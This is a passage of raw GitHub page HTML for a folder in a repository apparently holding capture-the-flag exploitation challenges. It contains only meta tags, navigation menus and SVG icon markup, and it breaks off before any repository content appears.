<meta name="octolytics-dimension-user_id" content="55344638" /><meta name="octolytics-dimension-user_login" content="vital-information-resource-under-siege" /><meta name="octolytics-dimension-repository_id" content="334582086" /><meta name="octolytics-dimension-repository_nwo" content="vital-information-resource-under-siege/PWN-Challenges" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="334582086" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vital-information-resource-under-siege/PWN-Challenges" />
<link rel="canonical" href="https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/hellbound" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="334582086" data-scoped-search-url="/vital-information-resource-under-siege/PWN-Challenges/search" data-owner-scoped-search-url="/users/vital-information-resource-under-siege/search" data-unscoped-search-url="/search" data-turbo="false" action="/vital-information-resource-under-siege/PWN-Challenges/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="RrMXKjTU6VWQe6qqfSffqtcNBLpicxl+/Z9Qz/ZtmeQyq2jAVhA/QOfD38BHUXRG/jjm9vprFhRGjlGJom0jFA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 